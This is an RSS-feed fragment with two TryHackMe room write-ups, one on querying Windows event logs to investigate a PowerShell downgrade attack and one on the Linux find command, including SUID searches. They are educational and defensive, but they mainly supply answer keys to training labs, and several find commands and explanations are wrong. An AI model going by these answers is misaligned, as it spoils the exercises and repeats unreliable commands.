src="https://cdn-images-1.medium.com/max/551/1*nARrbpnEZ2p23f35x5DDiA.png" /></figure><p><strong>What is the Task Category for Event ID 800?</strong></p><ul><li><strong>Answer:</strong> Pipeline Execution Details</li></ul><p>On the left-hand side, navigate to Applications and Service Logs &gt; Windows PowerShell (standalone log):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/241/1*2DbXH8kQ9kgY0ORZziMzmA.png" /><figcaption>Please excuse the arrows, they are trying to do their best.</figcaption></figure><p>Once clicking on the log entry, we can see the events listed with Event ID 800. Similar to the previous question, review the Task Category section to find the answer.</p><h3>3 — wevtutil.exe (command-line tool)</h3><p>The “<strong>W</strong>indows <strong>EV</strong>en<strong>T</strong> <strong>UTIL</strong>ity” tool allows for viewing event log information via the command prompt instead. Open the Command Prompt (I personally recommend opening Windows PowerShell prompt instead) and type <em>wevtutil.exe /? </em>to view more information on what can be used in combination with the tool for more efficient use. After review, we can move on to answering the questions…</p><p><strong>How many log names are in the machine?</strong></p><ul><li><strong>Answer:</strong> <em>wevtutil.exe el | Measure-Object</em></li></ul><p>Recalling reviewing the commands via the help guide. The best command would be ‘<em>wevtutil.exe el’ </em>to list the log names, BUT this command returns a list of all the logs and we just need the count. <a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_pipelines?view=powershell-7.1">Piping</a> this command with the PowerShell module <em>Measure-Object </em>is recommended per the Hint provided (note: this must be run via Windows PowerShell, not Command Prompt).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*Bjtz0dWQ7oXrTMiB5d3ROg.png" /></figure><p><strong>What is the definition for the query-events command?</strong></p><ul><li><strong>Answer:</strong> Read events from an event log, log file or using structured query.</li></ul><p>The commands in the help section can be reviewed in more detail by running a similar command: <em>wevtutil.exe &lt;command&gt; /? <br></em>In this case, we can run <em>wevtutil.exe qe /?</em> to find our answer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*uGnPYy6XaE2pt4mhAZ64EQ.png" /></figure><p><strong>What option would you use to provide a path to a log file?</strong></p><ul><li><strong>Answer:</strong> /lf:true</li></ul><p>Still working through the <em>wevtutil.exe qe /? </em>guide, look under Options. There are a couple of ways to write this command, but the answer is looking for use of /lf instead of /logfile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*QddF2Xli-G1UWZDmFTMhxg.png" /></figure><p><strong>What is the VALUE for /q?</strong></p><ul><li><strong>Answer</strong>: Xpath query</li></ul><p>Again, still looking at the guide from the previous question, we see the answer listed under <em>/{q | query}:VALUE</em>.</p><p><strong>The questions below are based on this command: <br>wevtutil qe Application /c:3 /rd:true /f:text</strong></p><ul><li>No answer needed, just enter the command in the prompt.</li></ul><p>What is this command doing, anyway? Recall the guide we have been looking into: <br><em>wevtutil qe Application — </em>We are looking to read events from the log Application via structured query. <em><br>/c:3 — </em>maximum number of events to read is set to the count of 3<em><br>/rd:true — </em>we are asking for the events to be listed with the most recent first<em><br>/f:text —</em> this is telling the command to return the format in text instead of the default (XML).</p><p><strong>What is the log name?</strong></p><ul><li><strong>Answer:</strong> Application</li></ul><p>This can be determined from the first part of the command, recalling the previous explanation above: <em>wevtutil qe Application — </em>We are looking to read events from the log Application via structured query.</p><p><strong>What is the /rd option for?</strong></p><ul><li><strong>Answer:</strong> Event read direction</li></ul><p>The answer can be found under <em>wevtutil.exe qe /?</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*jxGOyc5kYdRfXfKMpqrTZg.png" /></figure><p><strong>What is the /c option for?</strong></p><ul><li><strong>Answer:</strong> Maximum number of events to read</li></ul><p>Similar to the previous question, refer to <em>wevtutil.exe qe /?</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/237/1*PWEPmXFcl0ssslKaU-T06w.png" /></figure><h3>4 — Get-WinEvent (PowerShell cmdlet)</h3><p>Another way we can view the event logs is via this cmdlet, which must be run via PowerShell. There is a lot of information on its use provided by THM and Microsoft, so take the time to read about it and check out the help guides.</p><p><strong>Execute the command from Example 1 (as is). What are the names of the logs related to OpenSSH?</strong></p><ul><li><strong>Answer:</strong> OpenSSH/Admin,OpenSSH/Operational</li></ul><p>Remember, this is referring to the example from the <a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.diagnostics/get-winevent?view=powershell-5.1">online documentation</a>! The command to run is: <em>Get-WinEvent -ListLog *<br></em>It outputs a long list with the wildcard, so thankfully the answers are viewable at the bottom.</p><p><strong>Execute the commands from Example 7.</strong></p><ul><li><strong>Answer:</strong> Microsoft-Windows-PowerShell-DesiredStateConfiguration-FileDownloadManager/Debug</li></ul><p>Run the following command <em>— Get-WinEvent -ListProvider *PowerShell*<br></em>The answer will be located under LogLinks.</p><p><strong>Execute the command from Example 8. Use Microsoft-Windows-PowerShell as the log provider. How many event ids are displayed for this event provider?</strong></p><ul><li><strong>Answer:</strong> 192</li></ul><p>The ideal command needed is —<em> (Get-WinEvent -ListProvider Microsoft-Windows-PowerShell).Events | Format-Table Id, Description<br></em>This command will output all related information with the ID and description, but we are just looking for the count. Recall the <em>Measure-Object</em> cmdlet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*1NE5kQZ9A0_fCONu94Ln3A.png" /><figcaption>No extra parenthesis needed, really. The computer knows how to follow piping instructions.</figcaption></figure><p><strong>How do you specify the number of events to display?</strong></p><ul><li><strong>Answer:</strong> -MaxEvents</li></ul><p>This can be confirmed via the online documentation.</p><h3>5 — XPath Queries</h3><p>This section covers <a href="https://blog.backslasher.net/filtering-windows-event-log-using-xpath.html">XPath (XML Path Language) filtered events</a>, and how they can be constructed from Details via Event Viewer.</p><blockquote>Based on the <a href="https://docs.microsoft.com/en-us/windows/win32/wes/consuming-events#xpath-10-limitations">docs.microsoft.com</a>, an XPath event query starts with ‘*’ or ‘Event’.</blockquote><p>Great, now to figure out how to construct a query. Conveniently, the shortcut to Event Viewer is provided in the VM via the bar below. Once opened:</p><ol><li>Navigate to Applications and Service Logs &gt; Windows Logs &gt; Application.</li><li>Clicking on any of these logs, we can view the general information.</li><li>Select Details &gt; XML View to see the ‘&lt;Event xmlns=…’ description for an idea.</li></ol><p>The recommended command is — <br><em>Get-WinEvent -LogName Application -FilterXPath ‘*/System/’</em></p><p>We see that in the XML View panel, there are multiple categories we can call on to add to our command, substituting the values with the ones we are looking for.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*vBz5E_cID_rNbZC7x7EixQ.png" /><figcaption>Above is as shown in the THM room. Running this command returns the same data, but via command line.</figcaption></figure><p><em>Multiple queries can be added together, just make sure they are contained within the single quotations. Write them as you would a single command, but spaced with the keyword “and” between both queries.</em></p><p>To search for more granular information and complete the following questions, we will need to understand how to make some modifications to the query, as seen in the THM example below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*igLxTNfadlxtyeDzHXwbxQ.png" /></figure><p><strong>Using Get-WinEvent and XPath, what is the query to find WLMS events with a System Time of 2020–12–15T01:09:08.940277500Z?</strong></p><ul><li><strong>Answer**:</strong> <em>Get-WinEvent -LogName Application -FilterXPath ‘*/System/TimeCreated [@SystemTime=”2020–12–15T01:09:08.940277500Z”] and */System/Provider[@Name=”WLMS”]’</em></li></ul><p>Using XML View, we can see that under &lt;System&gt; is &lt;TimeCreated SystemTime=”…”&gt;. Some of these may involve trial and error, so be sure to take the time to read the formatting for the queries. This query needed to be flipped to be accepted by THM, but the order should not impact the search in this case.</p><p><strong>Using Get-WinEvent and XPath, what is the query to find a user named Sam with an Logon Event ID of 4720?</strong></p><ul><li><strong>Answer: </strong><em>Get-WinEvent -LogName Security -FilterXPath ‘*/EventData/Data[@Name=”TargetUsername”]=”Sam” and */System/EventID=4720’</em></li></ul><p>Change LogName to look at the <a href="https://en.wikipedia.org/wiki/Windows_Security_Log#:~:text=The%20Security%20Log%2C%20in%20Microsoft,activity%20in%20the%20Security%20Log.">Security log</a> for user logon events as this is where they are stored.</p><p><strong>Based on the previous query, how many results are returned?</strong></p><ul><li><strong>Answer:</strong> 2</li></ul><p>Run the exact command from the previous question via PowerShell. This command will also get you the answer for the remaining questions.</p><p><strong>Based on the output from the question #2, what is Message?</strong></p><ul><li><strong>Answer:</strong> A user account was created</li></ul><p><strong>Still working with Sam as the user, what time was Event ID 4724 recorded? (MM/DD/YYYY H:MM:SS [AM/PM])</strong></p><ul><li><strong>Answer:</strong> 12/17/2020 1:57:14 PM</li></ul><p>Run the previous command, but replace with <em>EventID=4724</em></p><p><strong>What is the Provider Name?</strong></p><ul><li><strong>Answer: </strong>Microsoft-Windows-Security-Auditing</li></ul><p>Unfortunately, XPath queries <a href="https://serverfault.com/questions/827016/how-to-filter-windows-event-log-with-wildcard">cannot use wildcards in the search fields</a> (with exception to the beginning part). We can just view the Provider via GUI by revisiting Event Viewer, navigating to Windows Logs &gt; Security &gt; Details &gt; XML View.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*mtw9wcZCwscv8KePbY374g.png" /></figure><h3>6 — Event IDs</h3><p>Take time to review some of the provided resources, in addition to glancing over this <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/">event list</a>, as they are good for foundational knowledge.</p><p><strong>No questions for this section.</strong></p><h3>7 — Putting Theory Into Practice</h3><p>Get ready to recap and implement some Google-Fu (this skill is essential, I will have a standalone article on this soon), feel free to try other alternatives to finding these answers as well.</p><p>Begin by opening ‘merged.evtx’ log, in the Desktop. Take a moment to study what’s going on. These type of <a href="https://www.huntress.com/blog/tried-and-true-hacker-technique-dos-obfuscation">obfuscation attacks</a> are commonplace, sometimes even encrypted. You will most likely run into them again at some point in your studies or career so it is important to be able to recognize this as very unusual activity (sometimes legitimate, strangely enough, but *very* rare that it is).</p><p><strong>What event ID is to detect a PowerShell downgrade attack?</strong></p><ul><li><strong>Answer:</strong> 400</li></ul><p>We can determine the Event ID from the following article found <a href="https://www.eventsentry.com/blog/2018/01/powershell-pw3rh311-detecting-preventing-powershell-attacks.html">via Google</a>.</p><p><strong>What is the Date and Time this attack took place? (MM/DD/YYYY H:MM:SS [AM/PM])</strong></p><ul><li><strong>Answer:</strong> 12/18/2020 7:50:33 AM</li></ul><p>Using Event Viewer, select Filter Current Log and input Event ID = 400. All related activity will be listed, but we need to determine the earliest time of occurrence. However, if you use XPath, you’ll have to perform some <a href="https://devblogs.microsoft.com/scripting/use-powershell-to-parse-saved-event-logs-for-errors/">command line magic</a>:</p><p><em>Get-WinEvent -Path C:\Users\Administrator\Desktop\merged.evtx -FilterPath ‘*/System/EventID=400’</em></p><p><strong>A Log clear event was recorded. What is the ‘Event Record ID’?</strong></p><ul><li><strong>Answer:</strong> 27736</li></ul><p>Searching Google again led to finding this action to be listed as Event ID 104. Via Event Viewer, the following details can be confirmed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*obGXVzLquw0-9WvNEQj3VQ.png" /></figure><p><strong>What is the name of the computer?</strong></p><ul><li><strong>Answer: </strong>PC01.example.corp</li></ul><p><strong>What is the name of the first variable within the PowerShell command?</strong></p><ul><li><strong>Answer:</strong> $Va5w3n8</li></ul><p>Filter Current Log &gt; set Event ID = 4104. Find the first event, then view ScriptBlockText via Details. Recall that PowerShell variables begin with ‘$’.</p><p><strong>What is the Date and Time this attack took place? (MM/DD/YYYY H:MM:SS [AM/PM])</strong></p><ul><li><strong>Answer: </strong>8/25/2020 10:09:28 PM</li></ul><p>If you’d like to try XPath, run the following command:<br><em>Get-WinEvent -Path C:\Users\Administrator\Desktop\merged.evtx -FilterPath ‘*/System/EventID=4104 and */EventData/Data[@Name=”scriptblocktext”]’</em></p><p><strong>What is the Execution Process ID?</strong></p><ul><li><strong>Answer: </strong>6620</li></ul><p>Reviewing the same entry in Event Viewer, switch to XML View and scroll down to find this data entry.</p><p><strong>What is the Group Security ID of the group she enumerated?</strong></p><ul><li><strong>Answer:</strong> <em>S-1–5–32–544</em></li></ul><p>Back to <a href="https://www.google.com/search?q=find+enumerated+group+windows+event+log&amp;rlz=1C1CHBF_enUS816US816&amp;oq=find+enumerated+group+windows+event+log&amp;aqs=chrome..69i57.7228j0j7&amp;sourceid=chrome&amp;ie=UTF-8">Google search</a>, we find that enumeration involves Event ID <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4798">4798</a> and <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4799">4799</a>. Since we are likely looking for the activity affecting a group, filter on 4799 and view the earliest entry. Check Details and it will be the TargetSid.</p><p><strong>What is the event ID?</strong></p><ul><li><strong>Answer: </strong>4799</li></ul><p>SO MANY LOGS!</p><p>…aaand we are all done here now. Hopefully you walked away with a new understanding of Windows Event Log and how it works <a href="https://www.beyondtrust.com/blog/entry/windows-server-events-monitor">since it is a great resource for investigations</a>! I recommend revisiting this lab a couple of times and playing with the Event Viewer on your own machines to get the hang of it as well.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=43e495db4e59" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM Write-up: The FIND Command]]></title>
            <link>https://missmeoware.medium.com/thm-write-up-the-find-command-a7261c8e8812?source=rss-a295d73e932------2</link>
            <guid isPermaLink="false">https://medium.com/p/a7261c8e8812</guid>
            <category><![CDATA[thm-writeup]]></category>
            <category><![CDATA[simple-linux-commands]]></category>
            <category><![CDATA[thm]]></category>
            <category><![CDATA[find-command]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[MeowareHuntress]]></dc:creator>
            <pubDate>Thu, 09 Sep 2021 23:30:47 GMT</pubDate>
            <atom:updated>2021-09-09T23:43:48.704Z</atom:updated>
            <content:encoded><![CDATA[<p>Below is my (very first) write-up while working through the room: The find command — <br><a href="https://tryhackme.com/room/thefindcommand">https://tryhackme.com/room/thefindcommand</a></p><p><strong>What does Find do?</strong> <br>This command is useful for asking the system to search for a specific item or pattern of text, ideally a Linux environment.</p><blockquote>Firstly you tell the system to <strong>find</strong> something; <br>secondly you tell it where to look; <br>and finally, you tell it what to look for.</blockquote><blockquote>You don’t need to specify when you’re looking in your working directory. <br>Also, you can use wildcards (*) as well, in specifying both a directory and a name.</blockquote><p><strong>The basic command syntax is:</strong> <br><em>find &lt;desired directory&gt; &lt;flags, as needed&gt; &lt;specific text or string in file&gt;</em></p><p><em>…</em>Simple enough, right?</p><p><em>I highly suggest attempting to work through this room as best as you can before continuing to read below. Reading the questions slowly and breaking them apart should give a general idea of what you need for each one. Thankfully, you can also reset your progress in this room and try again at a later time if you need more practice.</em></p><h3>Task 1 — Start Finding</h3><p>This task is straight-forward. You will open a terminal and create two files to test the command using <em>touch &lt;filename1&gt; &lt;filename2&gt;</em>.</p><p>The second command <em>find file* </em>runs a wildcard search in the current working directory for any file including “file” in the name (you can verify this through the command: <em>pwd</em>).</p><p>The third command <em>find *1</em> is like the previous command, but searches for any files with “1” instead of “file” in their name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*ShMcAyRF9wtKswCDGUj0qg.png" /><figcaption><strong>Note the wildcard location</strong>: its placement indicates what part of the file name can be anything.</figcaption></figure><h3>Task 2 — Be More Specific</h3><p>This section will introduce the use of flags and how to search in other directories. Recall that the entire list of flags can be reviewed via <em>find --help. </em>The main flags to keep in mind are:</p><p><em>-type f</em> (specifies search for files only) <br>-<em>type d</em> (specifies search for directories only)<br>-<em>name “&lt;string value&gt;” </em>(searches for a specific word or string in the name)</p><p>…and do not forget wildcards!</p><p><strong>1 — Find all files whose name ends with “.xml”</strong></p><ul><li><em>find / -type f -name “*.xml”</em></li></ul><p>This command will search ALL directories (based on the standalone /) for files only, with the specified extension type (given the wildcard * placement before the .xml extension). The file name should be in quotes.</p><p><strong>2 — Find all files in the /home directory whose name is “user.txt”</strong></p><ul><li><em>find /home -type f -name user.txt</em></li></ul><p>This command is searching the <em>home</em> directory exclusively for files named “user.txt”.</p><p><strong>3 — Find all directories whose name contains the word “exploits”</strong></p><ul><li><em>find / -type d -name “*exploits*”</em></li></ul><p>The wildcards (*) placed before and after the term “exploits” allows for the search to return files including any characters or numbers before and/or after this specified word.</p><h3>Task 3 — Know exactly what you’re looking for</h3><p>More flags! This section will use the previous task’s flags, and some new ones:</p><p><em>-user &lt;username&gt;<br>-size &lt;size# value (c=byte, k=kb, M=Mb, etc.)&gt; </em>E.g. <em>-size 256K<br>-perm &lt;</em><a href="https://www.thegeeksearch.com/understanding-octal-permission-bits-in-linux/"><em>octal</em></a><em> or </em><a href="https://www.ibm.com/docs/en/zos/2.2.0?topic=directories-using-symbolic-mode-specify-permissions"><em>symbolic</em></a><em> value&gt; <br>-xmin, -xtime <br>(where x = </em><strong><em>a</em></strong><em> for last accessed, </em><strong><em>m</em></strong><em> for last modified, or </em><strong><em>c</em></strong><em> for status changed)</em></p><p>I recommend <a href="https://www.oreilly.com/library/view/linux-pocket-guide/9780596806347/re44.html">reviewing chmod values</a> for the <em>-perm</em> flag, but the easy way to remember is that there are three binary values under each membership (user, group, and other) that total to the octal number 7 (if this is a new concept, think of it as a point system… for a binary of 1, add the following octal value depending on the category: <strong>r</strong>ead = 4, <strong>w</strong>rite = 2, and e<strong>x</strong>ecute = 1. They are always in that order, as seen in the example below).</p><p>Example Breakdown: Looking at the User (u), there is a 1 in the binary section for read and write. Read evaluates to the octal 4, write to 2, and execute to 0. Added together, 6 is the octal total. For Group (g), the octal is 4, which we can break down by subtracting. Since read = 4 octal, this indicates that this permission is the only one enabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/376/1*uIS7hpaNDtn5cbaWj2g98g.png" /></figure><p><strong>1 — Find all files owned by the user “kittycat”</strong></p><ul><li><em>find / -type f -user kittycat</em></li></ul><p><strong>2 — Find all files that are exactly 150 bytes in size</strong></p><ul><li><em>find / -type f -size 150c</em></li></ul><p>Recall that c represents bytes.</p><p><strong>3 — Find all files in the /home directory (recursive) with size less than 2 KiB’s and extension “.txt”</strong></p><ul><li><em>find /home -type f -size -2k -name “*.txt”</em></li></ul><p>-2k requests a file size less than 2kb, while +2k would request for file sizes greater than 2kb.</p><p><strong>4 — Find all files that are exactly readable and writeable by the owner, and readable by everyone else</strong></p><ul><li><em>find / -type f -perm 644</em></li></ul><p>Recall the <em>chmod</em> rules and calculate the octal values via addition.<br>(read = 4, write = 2, execute = 1)</p><p><strong>5 — Find all files that are only readable by anyone</strong></p><ul><li><em>find / -type f -perm /444</em></li></ul><p>The prefix “/” or “-” added before the octal value tells this command to search for files including — but not limited to — the requested permission.</p><p><strong>6 — Find all files with write permission for the group “others”, regardless of any other permissions, with extension “.sh”</strong></p><ul><li><em>find / -type f -perm o=w -name “*.sh”</em></li></ul><p>The permission is stating the owner must at least have the write permission.</p><p><strong>7 — Find all files in the /usr/bin directory that are owned by root and have at least the SUID permission</strong></p><ul><li><em>find /usr/bin -type -f -user root -perm -u=s</em></li></ul><p>Since root is the user, we just need to specify the user permission to include <a href="https://www.linux.com/training-tutorials/what-suid-and-how-set-suid-linuxunix/">SUID</a> (represented by “s”).</p><p><strong>8 — Find all files that were not accessed in the last 10 days with extension “.png”</strong></p><ul><li><em>find / -type f -atime -10 -name “*.png”</em></li></ul><p>Recall the three prefixes that can be used before min and time (days). The value “a” requests to search for files with the last access period to be at least 10 days ago.</p><p><strong>9 — Find all files in the /usr/bin directory that have been modified within the last 2 hours <br></strong>Note: possible trick question? The value will need to be in minutes, not hours.</p><ul><li><em>find /usr/bin -type f -mmin -120</em></li></ul><h3>Task 4 — Have you found it?</h3><p>Last explanation here, for the redirection operator, you can request find to output its results into a file of your choice. This is great for logging and reporting.</p><p>You only need to read the last bit of information and then click on ‘complete’. Nicely done!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a7261c8e8812" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>